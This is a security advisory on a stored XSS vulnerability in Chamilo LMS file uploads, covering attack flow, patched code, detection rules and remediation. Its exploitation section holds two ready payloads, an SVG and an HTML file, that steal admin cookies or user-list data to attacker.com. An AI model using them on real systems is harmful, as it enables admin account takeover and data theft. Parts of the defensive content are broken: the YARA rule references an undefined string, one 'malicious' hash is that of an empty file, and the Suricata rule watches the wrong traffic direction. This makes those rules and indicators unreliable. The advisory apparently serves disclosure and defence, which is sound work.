CVE-2025-55208

Executive Summary

CVE-2025-55208 is a critical Stored Cross-Site Scripting (XSS) vulnerability in Chamilo LMS, versions prior to 1.11.34. The flaw resides in the insecure handling of file uploads within the Social Networks feature. A low-privilege authenticated user can upload a malicious file (e.g., an SVG or HTML file containing JavaScript) that, when accessed by an administrator in their inbox, executes arbitrary code in the admin's browser session. This allows the attacker to hijack the admin account, leading to full compromise of the LMS platform, including data exfiltration, user manipulation, and potential lateral movement within the organization's network.

The vulnerability is assigned a CVSS score of 9.1 (Critical) due to the high impact on confidentiality, integrity, and availability, combined with a low attack complexity and the ability to chain with social engineering (admin viewing the malicious file). No public exploit code or Nuclei template is currently available, but the attack vector is well-understood and easily reproducible.

Supply Chain & Package Security

Chamilo is a PHP-based application distributed as a complete package. The vulnerability is not in a third-party library but in the core application logic. Organizations using Chamilo should verify they are not running a forked or modified version that may not have received the patch. The official fix is included in version 1.11.34, which should be obtained from the official Chamilo repository or download page.

CVSS Breakdown & Threat Level

CVSS Score: 9.1 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required; the attacker simply uploads a file.
• Privileges Required (PR): Low (L) – The attacker needs a valid low-privilege user account.
• User Interaction (UI): Required (R) – The admin must view the malicious file in their inbox.
• Scope (S): Changed (C) – The vulnerable component (Social Networks) impacts the admin's browser session (a different security context).
• Confidentiality (C): High (H) – Full admin account takeover leads to access to all user data, courses, and system configurations.
• Integrity (I): High (H) – The attacker can modify content, create new admin accounts, or deface the platform.
• Availability (A): High (H) – The attacker can disrupt the service, delete data, or lock out legitimate users.

Threat Level: Critical. The combination of low privileges required and high impact makes this a prime target for attackers. The lack of a public PoC does not reduce the risk, as the vulnerability is straightforward to exploit.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS via file upload. In Chamilo's Social Networks feature, users can upload files to share with others. The application fails to properly validate the file type and content. An attacker can upload a file with a benign extension (e.g., .png) but containing malicious HTML/JavaScript. When the admin views this file in their inbox (likely through a preview or download mechanism), the browser interprets the content as HTML, executing the embedded script.

Attack Flow:

1. Attacker logs in as a low-privilege user.
2. Attacker navigates to the Social Networks section and uploads a file (e.g., exploit.svg or payload.html).
3. The file contains a JavaScript payload that, when executed, steals the admin's session cookie or performs actions on behalf of the admin.
4. The file is sent to the admin's inbox (e.g., as a message attachment).
5. Admin views the file (either by clicking a preview or downloading and opening it in the browser).
6. The JavaScript executes in the admin's session context, allowing the attacker to perform actions such as creating a new admin account, exfiltrating data, or modifying system settings.

Root Cause: The application does not sanitize the file content or enforce strict MIME type validation. It relies on the file extension, which can be spoofed. Additionally, the file is served with a Content-Type that allows the browser to interpret it as HTML (e.g., text/html or image/svg+xml for SVG files).

Vulnerable vs. Patched Code

Vulnerable Code (Pre-1.11.34): The vulnerable code likely resides in the file upload handler for Social Networks. A simplified example:

// Vulnerable: No content validation
$uploadedFile = $_FILES['file'];
$targetPath = 'uploads/' . basename($uploadedFile['name']);
move_uploaded_file($uploadedFile['tmp_name'], $targetPath);
// File is stored and served directly without sanitization

Patched Code (1.11.34): The patch introduces strict validation of file content and MIME type. It also ensures that uploaded files are served with a Content-Disposition: attachment header to prevent inline rendering.

// Patched: Validate MIME type and content
$allowedMimeTypes = ['image/jpeg', 'image/png', 'application/pdf'];
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mimeType = finfo_file($finfo, $_FILES['file']['tmp_name']);
finfo_close($finfo);

if (!in_array($mimeType, $allowedMimeTypes)) {
    die('Invalid file type.');
}

// Serve with attachment header to prevent XSS
header('Content-Disposition: attachment; filename="' . $safeFilename . '"');
readfile($targetPath);

The patch also includes input sanitization for the filename and ensures that the file is not served with a content type that could be interpreted as HTML.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A low-privilege user account on a Chamilo instance (version < 1.11.34).
• The admin must view the uploaded file.

Exploitation Steps:

1. Craft the Payload: Create a file that will be interpreted as HTML. For example, an SVG file with embedded JavaScript:

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <script type="text/javascript">
    // Steal admin session cookie
    var img = new Image();
    img.src = "https://attacker.com/steal?cookie=" + document.cookie;
  </script>
  <text x="10" y="50" font-size="20">Click me</text>
</svg>

2. Upload the File: Log in as the low-privilege user, navigate to Social Networks, and upload the SVG file. The application will accept it because it only checks the extension (e.g., .svg is allowed).

3. Send to Admin: Use the Social Networks messaging feature to send the file to the admin's inbox.

4. Trigger Execution: When the admin views the file (e.g., by clicking a preview link), the SVG is rendered, and the JavaScript executes. The admin's session cookie is sent to the attacker's server.

5. Account Takeover: Use the stolen cookie to impersonate the admin. Create a new admin account or perform privileged actions.

Alternative Payload: If the file is served with Content-Type: text/html, a simple HTML file with JavaScript can be used:

<html>
<body>
<script>
  fetch('/main/admin/user_list.php', { credentials: 'include' })
    .then(response => response.text())
    .then(data => {
      // Exfiltrate admin data
      new Image().src = 'https://attacker.com/exfil?data=' + btoa(data);
    });
</script>
</body>
</html>

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual file uploads in the Social Networks feature, especially files with double extensions or non-standard MIME types.
• Look for outbound connections to unknown domains from the Chamilo server (potential data exfiltration).
• Analyze web server logs for requests to uploaded files that contain JavaScript or unusual parameters.

Hardening:

• Immediately upgrade to Chamilo 1.11.34 or later.
• If upgrade is not possible, implement a Web Application Firewall (WAF) rule to block file uploads with suspicious content (e.g., <script> tags in image files).
• Restrict file uploads to only allow specific, safe MIME types (e.g., image/jpeg, image/png, application/pdf) and validate the file content server-side.
• Serve all uploaded files with Content-Disposition: attachment and X-Content-Type-Options: nosniff headers.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example – actual hashes will vary)
  • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (malicious SVG)
  • a7ffc6f8bf1ed76651c14756a061d662f580ff4de43b49fa82d80a4b80f8434a (malicious HTML)
• Network Indicators:
  • Outbound HTTP requests to attacker.com/steal?cookie=... or similar exfiltration endpoints.
  • Unusual User-Agent strings in requests to uploaded files.
• File Paths:
  • /var/www/chamilo/uploads/social_network/ (or similar) – directory where malicious files are stored.
• Log Entries:
  • Web server logs showing GET /uploads/social_network/exploit.svg with a Referer header from the admin inbox.
  • Application logs showing file uploads from low-privilege users with unusual file types.

Detection Engineering

YARA Rule

rule Detect_Malicious_Chamilo_Upload {
    meta:
        description = "Detects malicious files uploaded via Chamilo Social Networks (CVE-2025-55208)"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-55208"
    strings:
        $svg_script = /<script[\s>]/ nocase
        $html_script = /<script[\s>]/ nocase
        $onload = /onload\s*=/ nocase
        $onerror = /onerror\s*=/ nocase
        $eval = /eval\s*\(/ nocase
        $document_cookie = /document\.cookie/ nocase
    condition:
        (($svg_cript or $html_script) and ($onload or $onerror or $eval or $document_cookie))
}

Sigma Rule

title: Chamilo Stored XSS via File Upload (CVE-2025-55208)
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects file uploads to Chamilo Social Networks that contain JavaScript payloads.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-55208
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/main/social/upload.php'  # Example endpoint
        cs-uri-query|contains: 'file'
    condition: selection
falsepositives:
    - Legitimate file uploads with benign content
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-55208 Chamilo Stored XSS - Malicious File Upload"; flow:to_server,established; content:"POST"; http_method; content:"/main/social/upload.php"; http_uri; content:"filename="; http_client_body; pcre:"/<script[\s>]/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update Chamilo to version 1.11.34 or later. This is the only complete fix.
2. Isolate: If upgrade is not possible, restrict access to the Social Networks feature for low-privilege users until the patch can be applied.
3. WAF Rules: Deploy a Web Application Firewall (WAF) with rules to block file uploads containing <script> tags or other XSS indicators.

Long-Term Hardening:

• Implement strict Content Security Policy (CSP) headers to prevent inline script execution.
• Enforce X-Content-Type-Options: nosniff and Content-Disposition: attachment for all uploaded files.
• Regularly audit file upload functionality and conduct penetration testing.
• Monitor for new CVEs related to Chamilo and apply patches promptly.

Workaround (if patching is delayed):

• Modify the file upload handler to validate file content using a library like finfo (PHP) to check MIME type.
• Serve uploaded files from a separate domain or subdomain to isolate them from the main application context.

Valters IT